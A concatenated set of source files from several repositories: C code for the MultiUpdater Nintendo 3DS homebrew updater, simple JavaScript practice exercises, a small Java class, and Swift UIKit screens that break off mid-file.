printf_log("\x1b[40;31m\x1b[13;2HError: config file not found.\x1b[0m"); printf("\x1b[14;2HPress A to download the example config.json"); consoleSelect(&bottomScreen); while (aptMainLoop()) { hidScanInput(); if (hidKeysDown() & KEY_START) break; else if (hidKeysDown() & KEY_A) { printf_log("\x1b[40;34mDownloading example config.json...\x1b[0m\n"); Result ret = downloadToFile("https://raw.githubusercontent.com/LiquidFenrir/MultiUpdater/master/config.json" , filepath, true); if (ret != 0) printf_log("\x1b[40;31mDownload failed!\nError: 0x%08x\x1b[0m\n", (unsigned int)ret); else printf_log("\x1b[40;32mDownload successful!\x1b[0m\nYou can now restart the application and enjoy the multiple functions.\n"); } gfxFlushBuffers(); gfxSwapBuffers(); gspWaitForVBlank(); } } else { printf_log("\x1b[40;31m\x1b[13;2HError: invalid config.json.\x1b[0m"); while (aptMainLoop()) { hidScanInput(); if (hidKeysDown() & KEY_START) break; gfxFlushBuffers(); gfxSwapBuffers(); gspWaitForVBlank(); } } free(log_file_path); fsExit(); amExit(); httpcExit(); gfxExit(); return 0; } <file_sep>/source/file.c #include "file.h" #include "stringutils.h" #include "minizip/unzip.h" #include "7z/7z.h" #include "7z/7zAlloc.h" #include "7z/7zCrc.h" #include "7z/7zMemInStream.h" void makeDirs(FS_Archive archive, FS_Path filePath) { Result ret = 0; char * path = NULL; asprintf(&path, "%s", (char*)filePath.data); ret = FSUSER_OpenArchive(&archive, archive, fsMakePath(PATH_EMPTY, "")); if (ret != 0) printf_log("Error in:\nFSUSER_OpenArchive\nError: 0x%08x\n", (unsigned int)ret); for (char * slashpos = strchr(path+1, '/'); slashpos != NULL; slashpos = strchr(slashpos+1, '/')) { char bak = *(slashpos); *(slashpos) = '\0'; FS_Path dirpath = fsMakePath(PATH_ASCII, path); Handle dirHandle; ret = FSUSER_OpenDirectory(&dirHandle, archive, dirpath); if(ret == 0) FSDIR_Close(dirHandle); else { printf_log("Creating dir: %s\n", path); ret = FSUSER_CreateDirectory(archive, dirpath, FS_ATTRIBUTE_DIRECTORY); if (ret != 0) printf_log("Error in:\nFSUSER_CreateDirectory\nError: 0x%08x\n", (unsigned int)ret); } *(slashpos) = bak; } FSUSER_CloseArchive(archive); free(path); } Result openFile(const char * path, Handle * filehandle, bool write) { FS_Archive archive = (FS_Archive){ARCHIVE_SDMC}; FS_Path emptyPath = fsMakePath(PATH_EMPTY, ""); u32 flags = (write ? (FS_OPEN_CREATE | FS_OPEN_WRITE) : FS_OPEN_READ); FS_Path filePath = {0}; int prefixlen = 0; Result ret = 0; if (!strncmp(path, "ctrnand:/", 9)) { archive = (FS_Archive){ARCHIVE_NAND_CTR_FS}; prefixlen = 8; } else if (!strncmp(path, "twlp:/", 6)) { archive = (FS_Archive){ARCHIVE_TWL_PHOTO}; prefixlen = 5; } else if (!strncmp(path, "twln:/", 6)) { archive = (FS_Archive){ARCHIVE_NAND_TWL_FS}; prefixlen = 5; } else if (!strncmp(path, "sdmc:/", 6)) { prefixlen = 5; } else if (*path != '/') { //if the path is local (doesnt start with a slash), it needs to be appended to the working dir to be valid char * actualPath = NULL; asprintf(&actualPath, "%s%s", WORKING_DIR, path); filePath = fsMakePath(PATH_ASCII, actualPath); free(actualPath); } //if the filePath wasnt set above, set it if (filePath.size == 0) filePath = fsMakePath(PATH_ASCII, path+prefixlen); makeDirs(archive, filePath); ret = FSUSER_OpenFileDirectly(filehandle, archive, emptyPath, filePath, flags, 0); if (ret != 0) printf_log("Error in:\nFSUSER_OpenFileDirectly\nError: 0x%08x\n", (unsigned int)ret); if (write) ret = FSFILE_SetSize(*filehandle, 0); //truncate the file to remove previous contents before writing if (ret != 0) printf_log("Error in:\nFSFILE_SetSize\nError: 0x%08x\n", (unsigned int)ret); return ret; } Result copyFile(const char * srcpath, const char * destpath) { if (srcpath == NULL || destpath == NULL) { printf_log("Can't copy, path is empty.\n"); return -1; } Handle filehandle; Result ret = openFile(srcpath, &filehandle, false); if (ret != 0) { printf_log("Can't copy, couldn't open source file.\n"); return -2; } FILE *destptr = fopen(destpath, "wb"); if (destptr == NULL) { printf_log("Couldnt open destination file to write.\n"); return -3; } printf_log("Copying:\n%s\nto:\n%s\n", srcpath, destpath); u8 * buf = malloc(0x1000); u32 bytesRead = 0; u64 offset = 0; do { readFile(filehandle, &bytesRead, offset, buf, 0x1000); fwrite(buf, 1, bytesRead, destptr); offset += bytesRead; } while(bytesRead); printf_log("Copied %llu bytes.\n", offset); closeFile(filehandle); fclose(destptr); free(buf); return 0; } Result extractFileFrom7z(const char * archive_file, const char * filename, const char * filepath) { if (filename == NULL) { printf_log("Cannot start, the inarchive in config.json is blank.\n"); return EXTRACTION_ERROR_CONFIG; } if (filepath == NULL) { printf_log("Cannot start, the path in config.json is blank.\n"); return EXTRACTION_ERROR_CONFIG; } Result ret = 0; FILE * archive = fopen(archive_file, "rb"); if (archive == NULL) { printf_log("Error: couldn't open archive to read.\n"); return EXTRACTION_ERROR_ARCHIVE_OPEN; } fseek(archive, 0, SEEK_END); u32 archiveSize = ftell(archive); fseek(archive, 0, SEEK_SET); u8 * archiveData = malloc(archiveSize); fread(archiveData, archiveSize, 1, archive); CMemInStream memStream; CSzArEx db; ISzAlloc allocImp; ISzAlloc allocTempImp; MemInStream_Init(&memStream, archiveData, archiveSize); allocImp.Alloc = SzAlloc; allocImp.Free = SzFree; allocTempImp.Alloc = SzAllocTemp; allocTempImp.Free = SzFreeTemp; CrcGenerateTable(); SzArEx_Init(&db); SRes res = SzArEx_Open(&db, &memStream.s, &allocImp, &allocTempImp); if (res != SZ_OK) { ret = EXTRACTION_ERROR_ARCHIVE_OPEN; goto finish; } for (u32 i = 0; i < db.NumFiles; ++i) { // Skip directories unsigned isDir = SzArEx_IsDir(&db, i); if (isDir) continue; // Get name size_t len; len = SzArEx_GetFileNameUtf16(&db, i, NULL); // Super long filename? Just skip it.. if (len >= 256) continue; u16 name[256] = {0}; SzArEx_GetFileNameUtf16(&db, i, name); // Convert name to ASCII (just cut the other bytes) char name8[256] = {0}; for (size_t j = 0; j < len; ++j) { name8[j] = name[j] % 0xff; } u8 * buf = NULL; UInt32 blockIndex = UINT32_MAX; size_t fileBufSize = 0; size_t offset = 0; size_t fileSize = 0; if (!matchPattern(filename, name8)) { res = SzArEx_Extract( &db, &memStream.s, i, &blockIndex, &buf, &fileBufSize, &offset, &fileSize, &allocImp, &allocTempImp ); if (res != SZ_OK) { printf_log("Error: Couldn't extract file data from archive.\n"); ret = EXTRACTION_ERROR_READ_IN_ARCHIVE; goto finish; } Handle filehandle; u32 bytesWritten = 0; ret = openFile(filepath, &filehandle, true); if (ret != 0) { printf_log("Error: couldn't open file to write.\n"); return EXTRACTION_ERROR_WRITEFILE; } ret = writeFile(filehandle, &bytesWritten, 0, buf+offset, (u32)fileSize); closeFile(filehandle); free(buf); goto finish; } } printf_log("Couldn't find a file with a name matching %s in the archive.\n", filename); ret = EXTRACTION_ERROR_FIND; finish: free(archiveData); fclose(archive); return ret; } static int unzipMatchPattern(__attribute__ ((unused)) unzFile file, const char *filename1, const char *filename2) { return matchPattern(filename2, filename1); } Result extractFileFromZip(const char * archive_file, const char * filename, const char * filepath) { if (filename == NULL) { printf_log("Cannot start, the inarchive in config.json is blank.\n"); return EXTRACTION_ERROR_CONFIG; } if (filepath == NULL) { printf_log("Cannot start, the path in config.json is blank.\n"); return EXTRACTION_ERROR_CONFIG; } Result ret = 0; u8 * buf = NULL; Handle filehandle; u32 bytesWritten = 0; u64 offset = 0; ret = openFile(filepath, &filehandle, true); if (ret != 0) { printf_log("Error: couldn't open file to write.\n"); return EXTRACTION_ERROR_WRITEFILE; } unzFile uf = unzOpen64(archive_file); if (uf == NULL) { printf_log("Couldn't open zip file.\n"); closeFile(filehandle); return EXTRACTION_ERROR_ARCHIVE_OPEN; } unz_file_info payloadInfo = {}; ret = unzLocateFile(uf, filename, &unzipMatchPattern); if (ret == UNZ_END_OF_LIST_OF_FILE) { printf_log("Couldn't find the wanted file in the zip.\n"); ret = EXTRACTION_ERROR_FIND; } else if (ret == UNZ_OK) { ret = unzGetCurrentFileInfo(uf, &payloadInfo, NULL, 0, NULL, 0, NULL, 0); if (ret != UNZ_OK) { printf_log("Couldn't get the file information.\n"); ret = EXTRACTION_ERROR_INFO; goto finish; } u32 toRead = 0x1000; buf = malloc(toRead); if (buf == NULL) { ret = EXTRACTION_ERROR_ALLOC; goto finish; } ret = unzOpenCurrentFile(uf); if (ret != UNZ_OK) { printf_log("Couldn't open file in the archive to read\n"); ret = EXTRACTION_ERROR_OPEN_IN_ARCHIVE; goto finish; } u32 size = payloadInfo.uncompressed_size; do { if (size < toRead) toRead = size; ret = unzReadCurrentFile(uf, buf, toRead); if (ret < 0) { printf_log("Couldn't read data from the file in the archive\n"); ret = EXTRACTION_ERROR_READ_IN_ARCHIVE; goto finish; } else { ret = writeFile(filehandle, &bytesWritten, offset, buf, toRead); offset += toRead; } size -= toRead; } while(size); } finish: free(buf); unzClose(uf); closeFile(filehandle); return ret; } Result extractFileFromArchive(const char * archive_path, const char * filename, const char * filepath) { Result ret = EXTRACTION_ERROR_ARCHIVE_OPEN; unzFile uf = unzOpen64(archive_path); if (uf == NULL) { printf_log("Opening as a 7z file...\n"); //failure to open as a zip -> must be 7z ret = extractFileFrom7z(archive_path, filename, filepath); } else { printf_log("Opening as a zip file...\n"); unzClose(uf); ret = extractFileFromZip(archive_path, filename, filepath); } remove(archive_path); return ret; } <file_sep>/source/draw.c #include "draw.h" #define MENU_WIDTH 40 #define MAX_ENTRIES_PER_SCREEN 18 int scroll = 0; void drawInstructions() { printf("\x1b[40;33m" //color the text to make it more noticeable "Press (A) to update the highlighted\n and marked entries.\n" "Press (B) to backup the highlighted\n and marked entries.\n" "Press (X) to restore the backups of the\n highlighted and marked entries\n" "\n" "Press (Y) to mark or unmark the\n highlighted entry.\n" "Press [L] to mark all entries.\n" "Press [R] to unmark all entries.\x1b[0m\n"); } void drawMenu(config_t * parsed_config, u8 * state, int selected_entry) { int i; for (i = 0; i < parsed_config->entries_number; i++) { if (parsed_config->entries_number <= MAX_ENTRIES_PER_SCREEN) break; if (scroll > selected_entry) { scroll--; } if (i < selected_entry && selected_entry-scroll >= MAX_ENTRIES_PER_SCREEN && scroll != parsed_config->entries_number-MAX_ENTRIES_PER_SCREEN) { scroll++; } } for (i = 0; i <= 40; i++) { printf("\x1b[0;40;37m\x1b[%u;%uH=", 5, (4+i)); printf("\x1b[0;40;37m\x1b[%u;%uH=", 5+MAX_ENTRIES_PER_SCREEN+1, (4+i)); } for(i = scroll; i < (MAX_ENTRIES_PER_SCREEN + scroll); i++) { char * current_name = (char *)parsed_config->entries[i].name; if (current_name != NULL) { char format[64]; sprintf(format, "\x1b[%u;4H", (i+6-scroll)); strcat(format, (i == selected_entry) ? "\x1b[47;" : "\x1b[40;"); //selected entry has gray background, otherwise, black background if (state[i] & STATE_MARKED) { strcat(format, "33"); //marked entries have yellow text } else if (state[i] & UPDATE_DONE) { strcat(format, "32"); //already completed entries have green/lime text } else if (state[i] & UPDATE_ERROR) { strcat(format, "31"); //entries where errors have happened have red text } else { strcat(format, (i == selected_entry) ? "30" : "37"); //all the others have white text, except the selected which has black } //always print * characters, with padding if needed, and truncate if over strcat(format, "m%*.*s"); printf(format, -(MENU_WIDTH+1), MENU_WIDTH+1, current_name); //the - tells it to pad to the right } } } <file_sep>/source/log.c #include "log.h" #include <stdarg.h> char * log_file_path = NULL; FILE * log_file = NULL; void open_log_file(void) { log_file = fopen(log_file_path, "a"); } void close_log_file(void) { fclose(log_file); } void printf_log(const char *format, ...) { open_log_file(); va_list args; va_start(args, format); vfprintf(log_file, format, args); vprintf(format, args); va_end(args); close_log_file(); } <file_sep>/source/config.h #pragma once #include "basic.h" typedef struct { const char * name; const char * url; const char * path; const char * in_archive; const char * in_release; } entry_t; typedef struct { u8 errorState; int entries_number; entry_t entries[256]; } config_t; void get_config(const char * filepath, config_t * parsed_config); void clean_config(config_t * parsed_config); <file_sep>/source/log.h #pragma once #include "basic.h" #define LOGFILE_NAME "output_log.txt" extern char * log_file_path; void printf_log(const char *format, ...); <file_sep>/source/cia.h #pragma once #include "basic.h" Result installCia(const char * ciaPath); <file_sep>/source/stringutils.h #pragma once #include "basic.h" int matchPattern(const char * pattern, const char * str); void cleanPath(char * path); <file_sep>/source/file.h #pragma once #include "basic.h" #define EXTRACTION_ERROR_CONFIG -1 #define EXTRACTION_ERROR_WRITEFILE -2 #define EXTRACTION_ERROR_ARCHIVE_OPEN -3 #define EXTRACTION_ERROR_FIND -4 #define EXTRACTION_ERROR_INFO -5 #define EXTRACTION_ERROR_ALLOC -6 #define EXTRACTION_ERROR_OPEN_IN_ARCHIVE -7 #define EXTRACTION_ERROR_READ_IN_ARCHIVE -8 Result openFile(const char * path, Handle * filehandle, bool write); inline Result readFile(Handle filehandle, u32 * bytesRead, u64 offset, void * buffer, u32 size) { return FSFILE_Read(filehandle, bytesRead, offset, buffer, size); } inline Result writeFile(Handle filehandle, u32 * bytesWritten, u64 offset, void * buffer, u32 size) { return FSFILE_Write(filehandle, bytesWritten, offset, buffer, size, 0); } inline Result closeFile(Handle filehandle) { return FSFILE_Close(filehandle); } Result copyFile(const char * srcpath, const char * destpath); Result extractFileFromArchive(const char * archive_path, const char * filename, const char * filepath); <file_sep>/source/stringutils.c #include "stringutils.h" int matchPattern(const char * pattern, const char * str) { int p_offset = 0, s_offset = 0; char current_p_char = '\0', current_s_char = '\0', next_p_char = '\0'; while (str[s_offset] != '\0') { current_p_char = pattern[p_offset]; current_s_char = str[s_offset]; if (current_p_char == '*' && next_p_char == '\0') { next_p_char = pattern[p_offset+1]; } if (next_p_char != '\0') { if (current_s_char != next_p_char) { s_offset++; continue; } else { current_p_char = next_p_char; p_offset++; next_p_char = '\0'; } } if (current_p_char != current_s_char) return 1; s_offset++; p_offset++; } return (next_p_char != '\0'); } void cleanPath(char * path) { for (int i = 0; path[i]; i++) { //replace all spaces and fat32 reserved characters in the path with underscores switch (path[i]) { case ' ': case '"': case '*': case ':': case '<': case '>': case '?': case '\\': case '|': path[i] = '_'; default: break; } } } <file_sep>/selfupdater/selfupdater.c /* Those 2 files (selfupdater.c and selfupdater.h) are in the public domain. You can use them in whatever your project is, without caring about the license */ #include <3ds.h> #include <string.h> #define MULTIUPDATER_TITLEID 0x000400000D5C4900 typedef struct { char name[256]; char url[256]; char path[256]; char in_archive[256]; char in_release[256]; char magic[5]; } temp_entry_t; void update(const char * name, const char * url, const char * path, const char * in_archive, const char * in_release) { temp_entry_t sent_entry; strncpy(sent_entry.name, name, 256); strncpy(sent_entry.url, url, 256); strncpy(sent_entry.path, path, 256); strncpy(sent_entry.in_archive, in_archive, 256); strncpy(sent_entry.in_release, in_release, 256); strncpy(sent_entry.magic, "MULTI", 5); APT_PrepareToDoApplicationJump(0, MULTIUPDATER_TITLEID, MEDIATYPE_SD); u8 hmac[0x20] = {0}; APT_DoApplicationJump(&sent_entry, sizeof(sent_entry), hmac); }<file_sep>/source/gitapi.h #pragma once #include "basic.h" void getAssetUrl(const char * apiresponse, const char * element, char ** asseturl); <file_sep>/source/basic.h #pragma once #include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <stdbool.h> #include <math.h> #include <3ds.h> #define WORKING_DIR "/3ds/MultiUpdater/" #include "log.h" #define ERROR_JSON 1 #define ERROR_FILE 2 #define UPDATE_ERROR 1 #define UPDATE_DONE 2 #define STATE_MARKED 4 <file_sep>/source/draw.h #pragma once #include "basic.h" #include "config.h" void drawInstructions(void); void drawMenu(config_t * config, u8 * state, int selected_entry); <file_sep>/source/params.c #include "params.h" typedef struct { char name[256]; char url[256]; char path[256]; char in_archive[256]; char in_release[256]; char magic[5]; } temp_entry_t; bool handleParams(entry_t * received_entry) { u8 hmac[0x20]; u64 sender = 0; bool received = false; temp_entry_t temp_entry; APT_ReceiveDeliverArg(&temp_entry, sizeof(temp_entry), hmac, &sender, &received); //received is useless, it will get set to 1 (true) everytime if (strncmp(temp_entry.magic, "MULTI", 5)) return false; if (strlen(temp_entry.name) != 0) received_entry->name = strdup(temp_entry.name); if (strlen(temp_entry.url) != 0) received_entry->url = strdup(temp_entry.url); if (strlen(temp_entry.path) != 0) received_entry->path = strdup(temp_entry.path); if (strlen(temp_entry.in_archive) != 0) received_entry->in_archive = strdup(temp_entry.in_archive); if (strlen(temp_entry.in_release) != 0) received_entry->in_release = strdup(temp_entry.in_release); return true; }
d7f2d3939425de5de7bb67fed8e0883fe18f15ca
[ "C" ]
21
C
Epicpkmn11/MultiUpdater
1cff5072fead0ad890b4b65f22e0a9b366932926
f89af5747b23be38f975b0641c39d045dd88ab22
refs/heads/master
<file_sep>// Sandwich Fillings // Given a sandwich (as an array), return an array of fillings inside the sandwich. This involves ignoring the first and last elements. // Examples // getFillings(["bread", "ham", "cheese", "ham", "bread"]) ➞ ["ham", "cheese", "ham"] // getFillings(["bread", "sausage", "tomato", "bread"]) ➞ ["sausage", "tomato"] // getFillings(["bread", "lettuce", "bacon", "tomato", "bread"]) ➞ ["lettuce", "bacon", "tomato"] // Notes // The first and last elements will always be "bread". function getFillings(sandwich) { return sandwich.filter((x, index, arr) => x != "bread"); } console.log(getFillings(["bread", "ham", "cheese", "ham", "bread"])); console.log(getFillings(["bread", "sausage", "tomato", "bread"])); console.log(getFillings(["bread", "lettuce", "bacon", "tomato", "bread"])); <file_sep>## Edabit Practice A set of solutions for challenges on edabit.com <file_sep>// After N Months... // Create a function that takes in year and months as input, then return what year it would be after n-months has elapsed. // Examples // afterNMonths(2020, 24) ➞ 2022 // afterNMonths(1832, 2) ➞ 1832 // afterNMonths(1444, 60) ➞ 1449 // Notes // Assume that adding 12 months will always increment the year by 1. // If no value is given for year or months, return "year missing" or "month missing". // At least one value will be present. function afterNMonths(year, months) { if (!year) { return "year missing"; } if (!months) { return "month missing"; } return Math.floor(year + months / 12); } console.log(afterNMonths(2020, 13)); <file_sep>// Is the Number a Repdigit // A repdigit is a positive number composed out of the same digit. Create a function that takes an integer and returns whether it's a repdigit or not. // Examples // isRepdigit(66) ➞ true // isRepdigit(0) ➞ true // isRepdigit(-11) ➞ false // Notes // The number 0 should return true (even though it's not a positive number). // Check the Resources tab for more info on repdigits. function isRepdigit(num) { console.log("log:", num, num.toString().split("")); if (num >= 0) { return num .toString() .split("") .every((x, index, arr) => x === arr[0]); } else return false; } console.log(isRepdigit(333)); console.log(isRepdigit(31233)); console.log(isRepdigit(-33)); <file_sep>// Edabit const myObject = { one: 1, two: 2, three: 3 }; function hasKey(obj, key) { return key in obj; } console.log(hasKey(myObject, "three")); <file_sep>// Both Zero, Negative or Positive // Write a function that returns true if both numbers are: // Smaller than 0, OR ... // Greater than 0, OR ... // Exactly 0 // Otherwise, return false. // Examples // both(6, 2) ➞ true // both(0, 0) ➞ true // both(-1, 2) ➞ false // both(0, 2) ➞ false // Notes // Inputs will always be two numbers. function bothZeroNegPos(firstNumber, secondNumber) { if (firstNumber < 0 && secondNumber < 0) { return true; } else if (firstNumber > 0 && secondNumber > 0) { return true; } else if (firstNumber === 0 && secondNumber === 0) { return true; } else { return false; } } console.log(bothZeroNegPos(12, -1)); console.log(bothZeroNegPos(0, 2)); console.log(bothZeroNegPos(6, -2)); console.log(bothZeroNegPos(6, 22));
0aa0a9b4298856a3faa3aadfb6bb98b8a772b292
[ "JavaScript", "Markdown" ]
6
JavaScript
ericelvendahl/edabit-practice
0dcc65517d276c0e6d9062172b444c5d755748a8
b2fda2e33e902680028a74f5d9b314b208f61d35
refs/heads/master
<repo_name>League-Level1-Student/level1-module1-GaynorGithub<file_sep>/src/SmurfRunner.java public class SmurfRunner { public static void main(String[] args) { Smurf handy = new Smurf("Handy"); Smurf papa = new Smurf("Papa"); Smurf ette = new Smurf("Smurfette"); action(handy); action(papa); action(ette); } static void action(Smurf smurf) { smurf.eat(); System.out.println(smurf.getName()); System.out.println(smurf.getHatColor()); System.out.println(smurf.isGirlOrBoy()); } }
7b3e220509992b25b775fa4942d4356c85c2a9ed
[ "Java" ]
1
Java
League-Level1-Student/level1-module1-GaynorGithub
b04956d5c34f4058fd5eaf86cb341d86b041e4b1
7c0f75649bfe5b0a467d920f52b4721410f3b495
refs/heads/main
<repo_name>imNK2204/UIElements<file_sep>/UIElements/UIElements/screen1VC.swift // // screen1VC.swift // UIElements // // Created by srk on 20/06/21. // Copyright © 2021 Nikunj. All rights reserved. // import UIKit class screen1VC: UIViewController { private let Label1:UILabel = { let label = UILabel() label.text = "Sign Up Here!" label.textColor = UIColor.black label.font = UIFont.boldSystemFont(ofSize: 40) return label }() private let Label2:UILabel = { let label = UILabel() label.text = "Name" label.textColor = UIColor.black label.font = UIFont.boldSystemFont(ofSize: 20) return label }() private let NameTextView:UITextView = { let textView = UITextView() textView.text = "Enter Your Name" textView.font = UIFont.systemFont(ofSize: 20) textView.textAlignment = .center textView.backgroundColor = #colorLiteral(red: 0.9637209141, green: 0.9637209141, blue: 0.9637209141, alpha: 1) textView.layer.cornerRadius = 20 return textView }() private let Label3:UILabel = { let label = UILabel() label.text = "Password" label.textColor = UIColor.black label.font = UIFont.boldSystemFont(ofSize: 20) return label }() private let PasswordTextField:UITextField = { let textField = UITextField() textField.placeholder = "Enter Your Password" textField.font = UIFont.systemFont(ofSize: 20) textField.textAlignment = .center textField.backgroundColor = #colorLiteral(red: 0.9637209141, green: 0.9637209141, blue: 0.9637209141, alpha: 1) textField.borderStyle = .roundedRect // textField.backgroundColor = #colorLiteral(red: 0.5, green: 0.5, blue: 0.5, alpha: 1) return textField }() private let Label4:UILabel = { let label = UILabel() label.text = "Date Of Birth" label.textColor = UIColor.black label.font = UIFont.boldSystemFont(ofSize: 20) return label }() private let DatePicker:UIDatePicker = { let datePicker = UIDatePicker() datePicker.datePickerMode = .date datePicker.backgroundColor = #colorLiteral(red: 0.9637209141, green: 0.9637209141, blue: 0.9637209141, alpha: 1) datePicker.timeZone = TimeZone(secondsFromGMT: 0) // datePicker.addTarget(self, action: #selector(takeDate), for: .valueChanged) return datePicker }() private let ProgressView:UIProgressView = { let progressView = UIProgressView() progressView.setProgress(0.0, animated: true) return progressView }() override func viewDidAppear(_ animated: Bool) { super.viewDidAppear(animated) UIView.animate(withDuration: 10.0) { self.ProgressView.setProgress(1.0, animated: true) } } private let Continue:UIButton = { let button = UIButton() button.setTitle("Continue...", for: .normal) button.addTarget(self, action: #selector(moveTo), for: .touchUpInside) button.backgroundColor = #colorLiteral(red: 0.9254902005, green: 0.2352941185, blue: 0.1019607857, alpha: 1) button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 40) button.layer.cornerRadius = 20 return button }() @objc func moveTo() { let vc = screen2VC() navigationController?.pushViewController(vc, animated: true) navigationController?.navigationBar.backgroundColor = #colorLiteral(red: 0.143452806, green: 0.1553194879, blue: 0.1725588291, alpha: 1) } override func viewDidLoad() { super.viewDidLoad() view.backgroundColor = UIColor.white // view.backgroundColor = #colorLiteral(red: 0.08141656091, green: 0.08141656091, blue: 0.08141656091, alpha: 1) title = "Sign Up" view.addSubview(Label1) view.addSubview(Label2) view.addSubview(NameTextView) view.addSubview(Label3) view.addSubview(PasswordTextField) view.addSubview(Label4) view.addSubview(DatePicker) view.addSubview(ProgressView) view.addSubview(Continue) // Do any additional setup after loading the view. } override func viewDidLayoutSubviews() { super.viewDidLayoutSubviews() Label1.frame = CGRect(x: 30, y: 200, width: view.width - 40, height: 50) Label2.frame = CGRect(x: 20, y: Label1.bottom + 20, width: view.width - 40, height: 20) NameTextView.frame = CGRect(x: 20, y: Label2.bottom + 10, width: view.width - 40, height: 50) Label3.frame = CGRect(x: 20, y: NameTextView.bottom + 20, width: view.width - 40, height: 20) PasswordTextField.frame = CGRect(x: 20, y: Label3.bottom + 10, width: view.width - 40, height: 50) Label4.frame = CGRect(x: 20, y: PasswordTextField.bottom + 20, width: view.width - 40, height: 20) DatePicker.frame = CGRect(x: 20, y: Label4.bottom + 10, width: view.width - 40, height: 40) ProgressView.frame = CGRect(x: 20, y: DatePicker.bottom + 40, width: view.width - 40, height: 60) Continue.frame = CGRect(x: 20, y: ProgressView.bottom + 40, width: view.width - 40, height: 60) } // @objc func takeDate() { // print(DatePicker.date) // } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { // Get the new view controller using segue.destination. // Pass the selected object to the new view controller. } */ } <file_sep>/UIElements/UIElements/screen2VC.swift // // screen2VC.swift // UIElements // // Created by srk on 20/06/21. // Copyright © 2021 Nikunj. All rights reserved. // import UIKit class screen2VC: UIViewController { private let ImageView:UIImageView = { let imageView = UIImageView() imageView.contentMode = .scaleAspectFill imageView.clipsToBounds = true imageView.image = UIImage(named: "set2") return imageView }() private let Label:UILabel = { let label = UILabel() label.text = "Rate Us" label.textColor = UIColor.white label.font = UIFont.boldSystemFont(ofSize: 40) // label.textAlignment = .center return label }() private let Slider:UISlider = { let slider = UISlider() slider.minimumValue = 0 slider.maximumValue = 10 slider.addTarget(self, action: #selector(rateUs), for: .valueChanged) return slider }() private let RateTextView:UITextView = { let textView = UITextView() // textView.text = "Enter Your Name" textView.font = UIFont.systemFont(ofSize: 20) textView.textAlignment = .center textView.backgroundColor = #colorLiteral(red: 0.9637209141, green: 0.9637209141, blue: 0.9637209141, alpha: 1) textView.layer.cornerRadius = 20 return textView }() @objc func rateUs(){ let rate = Int(Slider.value) RateTextView.text = String(rate) } private let Continue:UIButton = { let button = UIButton() button.setTitle("Continue...", for: .normal) button.addTarget(self, action: #selector(moveTo), for: .touchUpInside) button.backgroundColor = #colorLiteral(red: 0.9254902005, green: 0.2352941185, blue: 0.1019607857, alpha: 1) button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 40) button.layer.cornerRadius = 20 return button }() @objc func moveTo() { let vc = screen3VC() navigationController?.pushViewController(vc, animated: true) navigationController?.navigationBar.backgroundColor = #colorLiteral(red: 0.143452806, green: 0.1553194879, blue: 0.1725588291, alpha: 1) } override func viewDidLoad() { super.viewDidLoad() title = "Rate Us" view.addSubview(ImageView) view.addSubview(Label) view.addSubview(Slider) view.addSubview(RateTextView) view.addSubview(Continue) // Do any additional setup after loading the view. } override func viewDidLayoutSubviews() { super.viewDidLayoutSubviews() ImageView.frame = CGRect(x: 60, y: 200, width: 300, height: 300) Label.frame = CGRect(x: 130, y: ImageView.bottom + 40, width: view.width - 40, height: 40) Slider.frame = CGRect(x: 20, y: Label.bottom + 40, width: view.width - 40, height: 40) RateTextView.frame = CGRect(x: 20, y: Slider.bottom + 40, width: view.width - 40, height: 40) Continue.frame = CGRect(x: 20, y: RateTextView.bottom + 40, width: view.width - 40, height: 60) } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { // Get the new view controller using segue.destination. // Pass the selected object to the new view controller. } */ } <file_sep>/UIElements/UIElements/screen6VC.swift // // screen6VC.swift // UIElements // // Created by srk on 21/06/21. // Copyright © 2021 Nikunj. All rights reserved. // import UIKit class screen6VC: UIViewController { private let toolBar:UIToolbar = { let toolBar = UIToolbar() let cancel = UIBarButtonItem(barButtonSystemItem: .cancel, target: self, action: #selector(handleCancel)) let spacer = UIBarButtonItem(barButtonSystemItem: .flexibleSpace, target: nil, action: nil) let gallery = UIBarButtonItem(barButtonSystemItem: .organize, target: self, action: #selector(handleGallery)) toolBar.items = [cancel, spacer, gallery] return toolBar }() @objc private func handleCancel() { print("cancel called") self.dismiss(animated: true) } @objc private func handleGallery() { print("gallery called") imagePicker.sourceType = .photoLibrary DispatchQueue.main.async { self.present(self.imagePicker, animated: true) } } private let tabBar:UITabBar = { let tabBar = UITabBar() let history = UITabBarItem(tabBarSystemItem: .history, tag: 1) let downloads = UITabBarItem(tabBarSystemItem: .downloads, tag: 2) tabBar.items = [history, downloads] return tabBar }() private let ImageView:UIImageView = { let imageView = UIImageView() imageView.contentMode = .scaleAspectFill imageView.image = UIImage(named: "set4") return imageView }() private let imagePicker:UIImagePickerController = { let imgpicker = UIImagePickerController() imgpicker.allowsEditing = true return imgpicker }() private let myLabel:UILabel = { let label = UILabel() label.text = "Choose Your Profile Here" label.textAlignment = .center label.textColor = UIColor.white label.font = UIFont.boldSystemFont(ofSize: 30) return label }() private let Continue:UIButton = { let button = UIButton() button.setTitle("Register", for: .normal) button.backgroundColor = #colorLiteral(red: 0.9254902005, green: 0.2352941185, blue: 0.1019607857, alpha: 1) button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 40) button.layer.cornerRadius = 20 return button }() override func viewDidLoad() { super.viewDidLoad() title = "Set Profile" view.addSubview(toolBar) view.addSubview(tabBar) view.addSubview(ImageView) view.addSubview(myLabel) view.addSubview(Continue) tabBar.delegate = self imagePicker.delegate = self // Do any additional setup after loading the view. } override func viewDidLayoutSubviews() { super.viewDidLayoutSubviews() let toolBarHeight:CGFloat = view.safeAreaInsets.top + 40 toolBar.frame = CGRect(x: 0, y: 0, width: view.width, height: toolBarHeight) let tabBarHeight:CGFloat = view.safeAreaInsets.bottom + 49 tabBar.frame = CGRect(x: 0, y: view.height - tabBarHeight, width: view.width, height: tabBarHeight) ImageView.frame = CGRect(x: 90, y: toolBar.bottom + 40, width: 200, height: 200) myLabel.frame = CGRect(x: 20, y: ImageView.bottom + 20, width: view.width - 40, height: 40) Continue.frame = CGRect(x: 20, y: myLabel.bottom + 40, width: view.width - 40, height: 60) } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { // Get the new view controller using segue.destination. // Pass the selected object to the new view controller. } */ } extension screen6VC: 